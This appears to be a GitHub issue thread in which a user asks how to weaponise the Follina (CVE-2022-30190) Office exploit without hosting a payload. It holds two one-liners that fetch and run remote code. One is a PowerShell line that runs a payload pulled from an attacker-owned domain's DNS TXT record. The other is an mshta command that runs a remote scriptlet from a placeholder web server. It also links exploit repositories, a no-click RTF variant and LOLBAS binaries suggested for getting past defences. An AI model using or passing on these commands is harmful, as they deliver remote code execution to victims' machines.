Follina

[hastalamuerte]

Hello @klezVirus thanks for you work, and your tools!

How to build follina doc without hosting, just with command/payload file (ps1, raw, txt..)

#maybe it can be useful https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed
Here is function to use real doc.

dinvoke, directl syscalls or method to get payload from dns records
#"powershell . (nslookup -q=txt some.owned.domain.com)[-1]"
#(nslookup -q=txt # some.owned.domain.com)[-1]"?
https://github.com/rtfmkiesel/goldig (cool)

#https://github.com/AchocolatechipPancake/MS-MSDT-Office-RCE-Follina
Rtf no click (folder visit)

And main question is
Using another service not mstd
https://lolbas-project.github.io/#
List of em who can execute and bypass some.

[hastalamuerte]

Seems its possible

nandisec/mshta@909383b
Oneliner - mshta.exe vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))